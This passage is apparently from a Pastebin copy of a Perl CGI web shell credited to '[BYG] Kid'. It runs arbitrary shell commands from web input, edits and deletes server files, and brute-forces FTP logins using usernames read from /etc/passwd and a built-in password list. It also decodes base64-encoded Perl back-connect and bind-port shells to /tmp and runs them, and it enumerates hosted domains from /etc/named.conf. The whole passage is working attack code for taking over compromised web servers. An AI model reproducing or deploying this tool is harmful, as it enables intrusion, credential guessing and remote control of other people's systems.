  851.         $Command = "cd \"$CurrentDir\"".$CmdSep."cd $1".$CmdSep.$CmdPwd;
  852.         chop($CurrentDir = `$Command`);
  853.         $result .= &PrintCommandLineInputForm;
  854.  
  855.         $result .= "Command: <run>$RunCommand </run><br><textarea cols='$cols' rows='$rows' spellcheck='false'>";
  856.         # xuat thong tin khi chuyen den 1 thu muc nao do!
  857.         $RunCommand= $WinNT?"dir":"dir -lia";
  858.         $result .= &RunCmd;
  859.     }elsif($RunCommand =~ m/^\s*edit\s+(.+)/)
  860.     {
  861.         $result .=  &SaveFileForm;
  862.     }else
  863.     {
  864.         $result .= &PrintCommandLineInputForm;
  865.         $result .= "Command: <run>$RunCommand</run><br><textarea id='data' cols='$cols' rows='$rows' spellcheck='false'>";
  866.         $result .=&RunCmd;
  867.     }
  868.     $result .=  "</textarea>";
  869.     return $result;
  870. }
  871.  
  872. #------------------------------------------------------------------------
  873. # run command
  874. #------------------------------------------------------------------------
  875.  
  876. sub RunCmd
  877. {
  878.     my $result="";
  879.     $Command = "cd \"$CurrentDir\"".$CmdSep.$RunCommand.$Redirector;
  880.     if(!$WinNT)
  881.     {
  882.         $SIG{'ALRM'} = \&CommandTimeout;
  883.         alarm($CommandTimeoutDuration);
  884.     }
  885.     if($ShowDynamicOutput) # show output as it is generated
  886.     {
  887.         $|=1;
  888.         $Command .= " |";
  889.         open(CommandOutput, $Command);
  890.         while(<CommandOutput>)
  891.         {
  892.             $_ =~ s/(\n|\r\n)$//;
  893.             $result .= &HtmlSpecialChars("$_\n");
  894.         }
  895.         $|=0;
  896.     }
  897.     else # show output after command completes
  898.     {
  899.         $result .= &HtmlSpecialChars('$Command');
  900.     }
  901.     if(!$WinNT)
  902.     {
  903.         alarm(0);
  904.     }
  905.     return $result;
  906. }
  907. #==============================================================================
  908. # Form Save File
  909. #==============================================================================
  910. sub SaveFileForm
  911. {
  912.     my $result ="";
  913.     substr($RunCommand,0,5)="";
  914.     my $file=&trim($RunCommand);
  915.     $save='<br><input name="a" type="submit" value="save" class="submit" >';
  916.     $File=$CurrentDir.$PathSep.$RunCommand;
  917.     my $dir="<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("gui")."</span>";
  918.     if(-w $File)
  919.     {
  920.         $rows="23"
  921.     }else
  922.     {
  923.         $msg="<br><font style='font: 15pt Verdana; color: yellow;' > Permission denied!<font><br>";
  924.         $rows="20"
  925.     }
  926.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  927.     $read=($WinNT)?"type":"less";
  928.     $RunCommand = "$read \"$RunCommand\"";
  929.     $result .=  <<END;
  930.     <form name="f" method="POST" action="$ScriptLocation">
  931.  
  932.     <input type="hidden" name="d" value="$CurrentDir">
  933.     $Prompt
  934.     <input type="text" size="40" name="c">
  935.     <input name="s" class="submit" type="submit" value="Enter">
  936.     <br>Command: <run> $RunCommand </run>
  937.     <input type="hidden" name="file" value="$file" > $save <br> $msg
  938.     <br><textarea id="data" name="data" cols="$cols" rows="$rows" spellcheck="false">
  939. END
  940.    
  941.     $result .= &RunCmd;
  942.     $result .=  "</textarea>";
  943.     $result .=  "</form>";
  944.     return $result;
  945. }
  946. #==============================================================================
  947. # Save File
  948. #==============================================================================
  949. sub SaveFile($)
  950. {
  951.     my $Data= shift ;
  952.     my $File= shift;
  953.     $File=$CurrentDir.$PathSep.$File;
  954.     if(open(FILE, ">$File"))
  955.     {
  956.         binmode FILE;
  957.         print FILE $Data;
  958.         close FILE;
  959.         return 1;
  960.     }else
  961.     {
  962.         return 0;
  963.     }
  964. }
  965. #------------------------------------------------------------------------------
  966. # Brute Forcer Form
  967. #------------------------------------------------------------------------------
  968. sub BruteForcerForm
  969. {
  970.     my $result="";
  971.     $result .= <<END;
  972.  
  973. <table>
  974.  
  975. <tr>
  976. <td colspan="2" align="center">
  977. ####################################<br>
  978. Simple FTP brute forcer<br>
  979. ####################################
  980. <form name="f" method="POST" action="$ScriptLocation">
  981.  
  982. <input type="hidden" name="a" value="bruteforcer"/>
  983. </td>
  984. </tr>
  985. <tr>
  986. <td>User:<br><textarea rows="18" cols="30" name="user">
  987. END
  988. chop($result .= `less /etc/passwd | cut -d: -f1`);
  989. $result .= <<'END';
  990. </textarea></td>
  991. <td>
  992.  
  993. Pass:<br>
  994. <textarea rows="18" cols="30" name="pass">123pass
  995. 123!@#
  996. 123admin
  997. 123abc
  998. 123456admin
  999. 1234554321
  1000. 12344321
  1001. pass123
  1002. admin
  1003. admincp
  1004. administrator
  1005. matkhau
  1006. passadmin
  1007. p@ssword
  1008. p@ssw0rd
  1009. password
  1010. 123456
  1011. 1234567
  1012. 12345678
  1013. 123456789
  1014. 1234567890
  1015. 111111
  1016. 000000
  1017. 222222
  1018. 333333
  1019. 444444
  1020. 555555
  1021. 666666
  1022. 777777
  1023. 888888
  1024. 999999
  1025. 123123
  1026. 234234
  1027. 345345
  1028. 456456
  1029. 567567
  1030. 678678
  1031. 789789
  1032. 123321
  1033. 456654
  1034. 654321
  1035. 7654321
  1036. 87654321
  1037. 987654321
  1038. 0987654321
  1039. admin123
  1040. admin123456
  1041. abcdef
  1042. abcabc
  1043. !@#!@#
  1044. !@#$%^
  1045. !@#$%^&*(
  1046. !@#$$#@!
  1047. abc123
  1048. anhyeuem
  1049. iloveyou</textarea>
  1050. </td>
  1051. </tr>
  1052. <tr>
  1053. <td colspan="2" align="center">
  1054. Sleep:<select name="sleep">
  1055.  
  1056. <option>0</option>
  1057. <option>1</option>
  1058. <option>2</option>
  1059.  
  1060. <option>3</option>
  1061. </select>
  1062. <input type="submit" class="submit" value="Brute Forcer"/></td></tr>
  1063. </form>
  1064. </table>
  1065. END
  1066. return $result;
  1067. }
  1068. #------------------------------------------------------------------------------
  1069. # Brute Forcer
  1070. #------------------------------------------------------------------------------
  1071. sub BruteForcer
  1072. {
  1073.     my $result="";
  1074.     $Server=$ENV{'SERVER_ADDR'};
  1075.     if($in{'user'} eq "")
  1076.     {
  1077.         $result .= &BruteForcerForm;
  1078.     }else
  1079.     {
  1080.         use Net::FTP;
  1081.         @user= split(/\n/, $in{'user'});
  1082.         @pass= split(/\n/, $in{'pass'});
  1083.         chomp(@user);
  1084.         chomp(@pass);
  1085.         $result .= "<br><br>[+] Trying brute $ServerName<br>====================>>>>>>>>>>>><<<<<<<<<<====================<br><br>\n";
  1086.         foreach $username (@user)
  1087.         {
  1088.             if(!($username eq ""))
  1089.             {
  1090.                 foreach $password (@pass)
  1091.                 {
  1092.                     $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n";
  1093.                     if($ftp->login("$username","$password"))
  1094.                     {
  1095.                         $result .= "<a target='_blank' href='ftp://$username:$password\@$Server'>[+] ftp://$username:$password\@$Server</a><br>\n";
  1096.                         $ftp->quit();
  1097.                         break;
  1098.                     }
  1099.                     if(!($in{'sleep'} eq "0"))
  1100.                     {
  1101.                         sleep(int($in{'sleep'}));
  1102.                     }
  1103.                     $ftp->quit();
  1104.                 }
  1105.             }
  1106.         }
  1107.         $result .= "\n<br>==========>>>>>>>>>> Finished <<<<<<<<<<==========<br>\n";
  1108.     }
  1109.     return $result;
  1110. }
  1111. #------------------------------------------------------------------------------
  1112. # Backconnect Form
  1113. #------------------------------------------------------------------------------
  1114. sub BackBindForm
  1115. {
  1116.     return <<END;
  1117.     <br><br>
  1118.  
  1119.     <table>
  1120.     <tr>
  1121.     <form name="f" method="POST" action="$ScriptLocation">
  1122.     <td>BackConnect: <input type="hidden" name="a" value="backbind"></td>
  1123.     <td> Host: <input type="text" size="20" name="clientaddr" value="$ENV{'REMOTE_ADDR'}">
  1124.      Port: <input type="text" size="7" name="clientport" value="6789" onkeyup="document.getElementById('ba').innerHTML=this.value;"></td>
  1125.  
  1126.     <td><input name="s" class="submit" type="submit" name="submit" value="Connect"></td>
  1127.     </form>
  1128.     </tr>
  1129.     <tr>
  1130.     <td colspan=3><font color=#FFFFFF>[+] Client listen before connect back!
  1131.     <br>[+] Try check your Port with $ENV{'SERVER_NAME'}</a>
  1132.     <br>[+] Client listen with command: <run>nc -vv -l -p <span id="ba">6789</span></run></font></td>
  1133.  
  1134.     </tr>
  1135.     </table>
  1136.  
  1137.     <br><br>
  1138.     <table>
  1139.     <tr>
  1140.     <form method="POST" action="$ScriptLocation">
  1141.     <td>Bind Port: <input type="hidden" name="a" value="backbind"></td>
  1142.  
  1143.     <td> Port: <input type="text" size="15" name="clientport" value="6868" onkeyup="document.getElementById('bi').innerHTML=this.value;">
  1144.  
  1145.      Password: <input type="text" size="15" name="bindpass" value="[BYG] Kid"></td>
  1146.     <td><input name="s" class="submit" type="submit" name="submit" value="Bind"></td>
  1147.     </form>
  1148.     </tr>
  1149.     <tr>
  1150.     <td colspan=3><font color=#FFFFFF>[+] Bind Port before connect back!
  1151.     <br>[+] Try check your Port with $ENV{'SERVER_NAME'}</a>
  1152.     <br>[+] Try command: <run>nc $ENV{'SERVER_ADDR'} <span id="bi">6868</span></run></font></td>
  1153.  
  1154.     </tr>
  1155.     </table><br>
  1156. END
  1157. }
  1158. #------------------------------------------------------------------------------
  1159. # Backconnect use perl
  1160. #------------------------------------------------------------------------------
  1161. sub BackBind
  1162. {
  1163.     use MIME::Base64;
  1164.     use Socket;
  1165.     $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7";
  1166.     $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo=";
  1167.  
  1168.     $ClientAddr = $in{'clientaddr'};
  1169.     $ClientPort = int($in{'clientport'});
  1170.     if($ClientPort eq 0)
  1171.     {
  1172.         return &BackBindForm;
  1173.     }elsif(!$ClientAddr eq "")
  1174.     {
  1175.         $Data=decode_base64($backperl);
  1176.         if(-w "/tmp/")
  1177.         {
  1178.             $File="/tmp/backconnect.pl";   
  1179.         }else
  1180.         {
  1181.             $File=$CurrentDir.$PathSep."backconnect.pl";
  1182.         }
  1183.         open(FILE, ">$File");
  1184.         print FILE $Data;
  1185.         close FILE;
  1186.         system("perl backconnect.pl $ClientAddr $ClientPort");
  1187.         unlink($File);
  1188.         exit 0;
  1189.     }else
  1190.     {
  1191.         $Data=decode_base64($bindperl);
  1192.         if(-w "/tmp")
  1193.         {
  1194.             $File="/tmp/bindport.pl";  
  1195.         }else
  1196.         {
  1197.             $File=$CurrentDir.$PathSep."bindport.pl";
  1198.         }
  1199.         open(FILE, ">$File");
  1200.         print FILE $Data;
  1201.         close FILE;
  1202.         system("perl bindport.pl $ClientPort");
  1203.         unlink($File);
  1204.         exit 0;
  1205.     }
  1206. }
  1207. #------------------------------------------------------------------------------
  1208. #  Array List Directory
  1209. #------------------------------------------------------------------------------
  1210. sub RmDir($)
  1211. {
  1212.     my $dir = shift;
  1213.     if(opendir(DIR,$dir))
  1214.     {
  1215.         while($file = readdir(DIR))
  1216.         {
  1217.             if(($file ne ".") && ($file ne ".."))
  1218.             {
  1219.                 $file= $dir.$PathSep.$file;
  1220.                 if(-d $file)
  1221.                 {
  1222.                     &RmDir($file);
  1223.                 }
  1224.                 else
  1225.                 {
  1226.                     unlink($file);
  1227.                 }
  1228.             }
  1229.         }
  1230.         closedir(DIR);
  1231.     }
  1232.     if(!rmdir($dir))
  1233.     {
  1234.        
  1235.     }
  1236. }
  1237. sub FileOwner($)
  1238. {
  1239.     my $file = shift;
  1240.     if(-e $file)
  1241.     {
  1242.         ($uid,$gid) = (stat($file))[4,5];
  1243.         if($WinNT)
  1244.         {
  1245.             return "???";
  1246.         }
  1247.         else
  1248.         {
  1249.             $name=getpwuid($uid);
  1250.             $group=getgrgid($gid);
  1251.             return $name."/".$group;
  1252.         }
  1253.     }
  1254.     return "???";
  1255. }
  1256. sub ParentFolder($)
  1257. {
  1258.     my $path = shift;
  1259.     my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd;
  1260.     chop($path = `$Comm`);
  1261.     return $path;
  1262. }
  1263. sub FilePerms($)
  1264. {
  1265.     my $file = shift;
  1266.     my $ur = "-";
  1267.     my $uw = "-";
  1268.     if(-e $file)
  1269.     {
  1270.         if($WinNT)
  1271.         {
  1272.             if(-r $file){ $ur = "r"; }
  1273.             if(-w $file){ $uw = "w"; }
  1274.             return $ur . " / " . $uw;
  1275.         }else
  1276.         {
  1277.             $mode=(stat($file))[2];
  1278.             $result = sprintf("%04o", $mode & 07777);
  1279.             return $result;
  1280.         }
  1281.     }
  1282.     return "0000";
  1283. }
  1284. sub FileLastModified($)
  1285. {
  1286.     my $file = shift;
  1287.     if(-e $file)
  1288.     {
  1289.         ($la) = (stat($file))[9];
  1290.         ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1];
  1291.         $y = $y + 1900;
  1292.         @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/;
  1293.         $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i);
  1294.         return $lmtime;
  1295.     }
  1296.     return "???";
  1297. }
  1298. sub FileSize($)
  1299. {
  1300.     my $file = shift;
  1301.     if(-f $file)
  1302.     {
  1303.         return -s $file;
  1304.     }
  1305.     return "0";
  1306.  
  1307. }
  1308. sub ParseFileSize($)
  1309. {
  1310.     my $size = shift;
  1311.     if($size <= 1024)
  1312.     {
  1313.         return $size. " B";
  1314.     }
  1315.     else
  1316.     {
  1317.         if($size <= 1024*1024)
  1318.         {
  1319.             $size = sprintf("%.02f",$size / 1024);
  1320.             return $size." KB";
  1321.         }
  1322.         else
  1323.         {
  1324.             $size = sprintf("%.2f",$size / 1024 / 1024);
  1325.             return $size." MB";
  1326.         }
  1327.     }
  1328. }
  1329. sub trim($)
  1330. {
  1331.     my $string = shift;
  1332.     $string =~ s/^\s+//;
  1333.     $string =~ s/\s+$//;
  1334.     return $string;
  1335. }
  1336. sub AddSlashes($)
  1337. {
  1338.     my $string = shift;
  1339.     $string=~ s/\\/\\\\/g;
  1340.     return $string;
  1341. }
  1342. sub ListDir
  1343. {
  1344.     my $path = $CurrentDir.$PathSep;
  1345.     $path=~ s/\\\\/\\/g;
  1346.     my $result = "<form name='f' action='$ScriptLocation'><span style='font: 11pt Verdana; font-weight: bold;'>Path: [ ".&AddLinkDir("gui")." ] </span><input type='text' name='d' size='40' value='$CurrentDir' /><input type='hidden' name='a' value='gui'><input class='submit' type='submit' value='Change'></form>";
  1347.     if(-d $path)
  1348.     {
  1349.         my @fname = ();
  1350.         my @dname = ();
  1351.         if(opendir(DIR,$path))
  1352.         {
  1353.             while($file = readdir(DIR))
  1354.             {
  1355.                 $f=$path.$file;
  1356.                 if(-d $f)
  1357.                 {
  1358.                     push(@dname,$file);
  1359.                 }
  1360.                 else
  1361.                 {
  1362.                     push(@fname,$file);
  1363.                 }
  1364.             }
  1365.             closedir(DIR);
  1366.         }
  1367.         @fname = sort { lc($a) cmp lc($b) } @fname;
  1368.         @dname = sort { lc($a) cmp lc($b) } @dname;
  1369.         $result .= "<div><table width='90%' class='listdir'>
  1370.  
  1371.         <tr style='background-color: #3e3e3e'><th>File Name</th>
  1372.         <th style='width:100px;'>File Size</th>
  1373.         <th style='width:150px;'>Owner</th>
  1374.         <th style='width:100px;'>Permission</th>
  1375.         <th style='width:150px;'>Last Modified</th>
  1376.         <th style='width:260px;'>Action</th></tr>";
  1377.         my $style="line";
  1378.         my $i=0;
  1379.         foreach my $d (@dname)
  1380.         {
  1381.             $style= ($style eq "line") ? "notline": "line";
  1382.             $d = &trim($d);
  1383.             $dirname=$d;
  1384.             if($d eq "..")
  1385.             {
  1386.                 $d = &ParentFolder($path);
  1387.             }
  1388.             elsif($d eq ".")
  1389.             {
  1390.                 $d = $path;
  1391.             }
  1392.             else
  1393.             {
  1394.                 $d = $path.$d;
  1395.             }
  1396.             $result .= "<tr class='$style'>
  1397.  
  1398.             <td id='File_$i' style='font: 11pt Verdana; font-weight: bold;'><a  href='?a=gui&d=".$d."'>[ ".$dirname." ]</a></td>";
  1399.             $result .= "<td>DIR</td>";
  1400.             $result .= "<td style='text-align:center;'>".&FileOwner($d)."</td>";
  1401.             $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($d)."','".$dirname."')\" ><span onclick=\"chmod_form(".$i.",'".$dirname."')\" >".&FilePerms($d)."</span></td>";
  1402.             $result .= "<td style='text-align:center;'>".&FileLastModified($d)."</td>";
  1403.             $result .= "<td style='text-align:center;'><a href='javascript:return false;' onclick=\"rename_form($i,'$dirname','".&AddSlashes(&AddSlashes($d))."')\">Rename</a>  | <a onclick=\"if(!confirm('Remove dir: $dirname ?')) { return false;}\" href='?a=gui&d=$path&remove=$dirname'>Remove</a></td>";
  1404.             $result .= "</tr>";
  1405.             $i++;
  1406.         }
  1407.         foreach my $f (@fname)
  1408.         {
  1409.             $style= ($style eq "line") ? "notline": "line";
  1410.             $file=$f;
  1411.             $f = $path.$f;
  1412.             $view = "?dir=".$path."&view=".$f;
  1413.             $result .= "<tr class='$style'><td id='File_$i' style='font: 11pt Verdana;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>".$file."</a></td>";
  1414.             $result .= "<td>".&ParseFileSize(&FileSize($f))."</td>";
  1415.             $result .= "<td style='text-align:center;'>".&FileOwner($f)."</td>";
  1416.             $result .= "<td id='FilePerms_$i' style='text-align:center;' ondblclick=\"rm_chmod_form(this,".$i.",'".&FilePerms($f)."','".$file."')\" ><span onclick=\"chmod_form($i,'$file')\" >".&FilePerms($f)."</span></td>";
  1417.             $result .= "<td style='text-align:center;'>".&FileLastModified($f)."</td>";
  1418.             $result .= "<td style='text-align:center;'><a href='?a=command&d=".$path."&c=edit%20".$file."'>Edit</a> | <a href='javascript:return false;' onclick=\"rename_form($i,'$file','f')\">Rename</a> | <a href='?a=download&o=go&f=".$f."'>Download</a> | <a onclick=\"if(!confirm('Remove file: $file ?')) { return false;}\" href='?a=gui&d=$path&remove=$file'>Remove</a></td>";
  1419.             $result .= "</tr>";
  1420.             $i++;
  1421.         }
  1422.         $result .= "</table></div>";
  1423.     }
  1424.     return $result;
  1425. }
  1426. #------------------------------------------------------------------------------
  1427. # Try to View List User
  1428. #------------------------------------------------------------------------------
  1429. sub ViewDomainUser
  1430. {
  1431.     open (d0mains, '/etc/named.conf') or $err=1;
  1432.     my @cnzs = <d0mains>;
  1433.     close d0mains;
  1434.     my $style="line";
  1435.     my $result="<h3><font style='font: 15pt Verdana;color: #ff9900;'>Copyright &copy 2012 [BYG] Kid</font></h3>";
  1436.     if ($err)
  1437.     {
  1438.         $result .=  ('<p>C0uldn\'t Bypass it , Sorry</p>');
  1439.         return $result;
  1440.     }else
  1441.     {
  1442.         $result .= '<table><tr><th>Domains</th> <th>User</th></tr>';
  1443.     }
  1444.     foreach my $one (@cnzs)
  1445.     {
  1446.         if($one =~ m/.*?zone "(.*?)" {/)
  1447.         {  
  1448.             $style= ($style eq "line") ? "notline": "line";
  1449.             $filename= "/etc/valiases/".$1;
  1450.             $owner = getpwuid((stat($filename))[4]);
  1451.             $result .= '<tr class="$style" width=50%><td><a href=\'http://'.$1.'\'>'.$1.' </td><td> '.$owner.'</td></tr>';
  1452.         }
  1453.     }
  1454.     $result .= '</table>';
  1455.     return $result;
  1456. }
  1457. #------------------------------------------------------------------------------
  1458. # View Log
  1459. #------------------------------------------------------------------------------
  1460. sub ViewLog
  1461. {
  1462.     if($WinNT)
  1463.     {
  1464.         return "<h2><font style='font: 20pt Verdana;color: #ff9900;'>Don't run on Windows</font></h2>";
  1465.     }
  1466.     my $result="<table><tr><th>Path Log</th><th>Submit</th></tr>";
  1467.     my @pathlog=(
  1468.                 '/usr/local/apache/logs/error_log',
  1469.                 '/var/log/httpd/error_log',
  1470.                 '/usr/local/apache/logs/access_log'
  1471.                 );
  1472.     my $i=0;
  1473.     my $perms;
  1474.     my $sl;
  1475.     foreach my $log (@pathlog)
  1476.     {
  1477.         if(-w $log)
  1478.         {
  1479.             $perms="OK";
  1480.         }else
  1481.         {
  1482.             chop($sl = `ln -s $log error_log_$i`);
  1483.             if(&trim($ls) eq "")
  1484.             {
  1485.                 if(-r $ls)
  1486.                 {
  1487.                     $perms="OK";
  1488.                     $log="error_log_".$i;
  1489.                 }
  1490.             }else
  1491.             {
  1492.                 $perms="<font style='color: red;'>Cancel<font>";
  1493.             }
  1494.         }
  1495.         $result .=<<END;
  1496.         <tr>
  1497.  
  1498.             <form action="" method="post">
  1499.             <td><input type="text" onkeyup="document.getElementById('log_$i').value='less ' + this.value;" value="$log" size='50'/></td>
  1500.             <td><input class="submit" type="submit" value="Try" /></td>
  1501.             <input type="hidden" id="log_$i" name="c" value="less $log"/>
  1502.             <input type="hidden" name="a" value="command" />
  1503.             <input type="hidden" name="d" value="$CurrentDir" />
  1504.             </form>
  1505.             <td>$perms</td>
  1506.  
  1507.         </tr>
  1508. END
  1509.         $i++;
  1510.     }
  1511.     $result .="</table>";
  1512.     return $result;
  1513. }
  1514. #------------------------------------------------------------------------------
  1515. # Main Program - Execution Starts Here
  1516. #------------------------------------------------------------------------------
  1517. &ReadParse;
  1518. &GetCookies;
  1519.  
  1520. $ScriptLocation = $ENV{'SCRIPT_NAME'};
  1521. $ServerName = $ENV{'SERVER_NAME'};
  1522. $LoginPassword = $in{'p'};
  1523. $RunCommand = $in{'c'};
  1524. $TransferFile = $in{'f'};
  1525. $Options = $in{'o'};
  1526. $Action = $in{'a'};
  1527.  
  1528. $Action = "command" if($Action eq ""); # no action specified, use default
  1529.  
  1530. # get the directory in which the commands will be executed
  1531. $CurrentDir = &trim($in{'d'});
  1532. # mac dinh xuat thong tin neu ko co lenh nao!
  1533. $RunCommand= $WinNT?"dir":"dir -lia" if($RunCommand eq "");
  1534. chop($CurrentDir = `$CmdPwd`) if($CurrentDir eq "");
  1535.  
  1536. $LoggedIn = $Cookies{'SAVEDPWD'} eq $Password;
  1537.  
  1538. if($Action eq "login" || !$LoggedIn)        # user needs/has to login
  1539. {
  1540.     &PerformLogin;
  1541. }elsif($Action eq "gui") # GUI directory
  1542. {
  1543.     &PrintPageHeader;
  1544.     if(!$WinNT)
  1545.     {
  1546.         $chmod=int($in{'chmod'});
  1547.         if(!($chmod eq 0))
  1548.         {
  1549.             $chmod=int($in{'chmod'});
  1550.             $file=$CurrentDir.$PathSep.$TransferFile;
  1551.             chop($result= `chmod $chmod "$file"`);
  1552.             if(&trim($result) eq "")
  1553.             {
  1554.                 print "<run> Done! </run><br>";
  1555.             }else
  1556.             {
  1557.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1558.             }
  1559.         }
  1560.     }
  1561.     $rename=$in{'rename'};
  1562.     if(!$rename eq "")
  1563.     {
  1564.         if(rename($TransferFile,$rename))
  1565.         {
  1566.             print "<run> Done! </run><br>";
  1567.         }else
  1568.         {
  1569.             print "<run> Sorry! You dont have permissions! </run><br>";
  1570.         }
  1571.     }
  1572.     $remove=$in{'remove'};
  1573.     if($remove ne "")
  1574.     {
  1575.         $rm = $CurrentDir.$PathSep.$remove;
  1576.         if(-d $rm)
  1577.         {
  1578.             &RmDir($rm);
  1579.         }else
  1580.         {
  1581.             if(unlink($rm))
  1582.             {
  1583.                 print "<run> Done! </run><br>";
  1584.             }else
  1585.             {
  1586.                 print "<run> Sorry! You dont have permissions! </run><br>";
  1587.             }          
  1588.         }
  1589.     }
  1590.     print &ListDir;
  1591.  
  1592. }
  1593. elsif($Action eq "command")                 # user wants to run a command
  1594. {
  1595.     &PrintPageHeader("c");
  1596.     print &ExecuteCommand;
  1597. }
  1598. elsif($Action eq "save")                    # user wants to save a file
  1599. {
  1600.     &PrintPageHeader;
  1601.     if(&SaveFile($in{'data'},$in{'file'}))
  1602.     {
  1603.         print "<run> Done! </run><br>";
  1604.     }else
  1605.     {
  1606.         print "<run> Sorry! You dont have permissions! </run><br>";
  1607.     }
  1608.     print &ListDir;
  1609. }
  1610. elsif($Action eq "upload")                  # user wants to upload a file
  1611. {
  1612.     &PrintPageHeader;
  1613.  
  1614.     print &UploadFile;
  1615. }
  1616. elsif($Action eq "backbind")                # user wants to back connect or bind port
  1617. {
  1618.     &PrintPageHeader("clientport");
  1619.     print &BackBind;
  1620. }
  1621. elsif($Action eq "bruteforcer")             # user wants to brute force
  1622. {
  1623.     &PrintPageHeader;
  1624.     print &BruteForcer;
  1625. }elsif($Action eq "download")               # user wants to download a file
  1626. {
  1627.     print &DownloadFile;
  1628. }elsif($Action eq "checklog")               # user wants to view log file
  1629. {
  1630.     &PrintPageHeader;
  1631.     print &ViewLog;
  1632.  
  1633. }elsif($Action eq "domainsuser")            # user wants to view list user/domain
  1634. {
  1635.     &PrintPageHeader;
  1636.     print &ViewDomainUser;
  1637. }elsif($Action eq "logout")                 # user wants to logout
  1638. {
  1639.     &PerformLogout;
  1640. }
  1641. &PrintPageFooter;
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!